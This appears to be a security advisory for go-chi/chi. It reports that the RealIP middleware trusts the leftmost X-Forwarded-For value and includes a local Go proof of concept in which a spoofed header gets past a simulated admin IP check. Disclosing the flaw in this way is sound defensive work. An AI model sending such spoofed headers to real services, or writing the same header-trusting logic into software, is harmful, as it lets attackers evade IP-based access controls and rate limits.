chi Has an IP Spoofing Vulnerability in `middleware.RealIP`

Summary

The RealIP middleware in go-chi/chi is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the X-Forwarded-For HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.

Details

In middleware/realip.go, the realIP function parses the X-Forwarded-For header and extracts the first comma-separated value:

func realIP(r *http.Request) string {
    // ...
    } else if xff := r.Header.Get(xForwardedFor); xff != "" {
        ip, _, _ = strings.Cut(xff, ",")
    }
    // ...
}

Standard practice for X-Forwarded-For is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>, and go-chi/chi will treat <spoofed_ip> as the source of the request.

Proof of Concept (PoC)

The following code demonstrates how an attacker can bypass an IP-based restriction.

package main

import (
        "fmt"
        "net/http"
        "net/http/httptest"

        "github.com/go-chi/chi/v5"
        "github.com/go-chi/chi/v5/middleware"
)

func main() {
        r := chi.NewRouter()

        // Enable the vulnerable RealIP middleware
        r.Use(middleware.RealIP)

        // An endpoint that should be restricted to a specific administrator IP (1.2.3.4)
        r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) {
                clientIP := r.RemoteAddr
                fmt.Printf("[Server] Request received from IP: %s\n", clientIP)

                // Simulate IP-based access control
                if clientIP == "1.2.3.4" {
                        w.WriteHeader(http.StatusOK)
                        w.Write([]byte("CONFIDENTIAL: The secret code is 42\n"))
                } else {
                        w.WriteHeader(http.StatusForbidden)
                        w.Write([]byte("Access Denied: You are not an administrator.\n"))
                }
        })

        // --- Attack Simulation ---
        fmt.Println("--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---")

        // 1. Normal Request (Should be denied)
        req1, _ := http.NewRequest("GET", "/admin/secret", nil)
        rr1 := httptest.NewRecorder()
        r.ServeHTTP(rr1, req1)
        fmt.Printf("[Client] Normal Request -> Status: %d, Body: %s", rr1.Code, rr1.Body.String())

        // 2. Spoofed Request (Using X-Forwarded-For)
        // Attacker claims to be '1.2.3.4'
        req2, _ := http.NewRequest("GET", "/admin/secret", nil)
        req2.Header.Set("X-Forwarded-For", "1.2.3.4, 5.6.7.8") // 5.6.7.8 is a fake proxy IP
        rr2 := httptest.NewRecorder()
        r.ServeHTTP(rr2, req2)
        fmt.Printf("[Client] Spoofed Request -> Status: %d, Body: %s", rr2.Code, rr2.Body.String())
}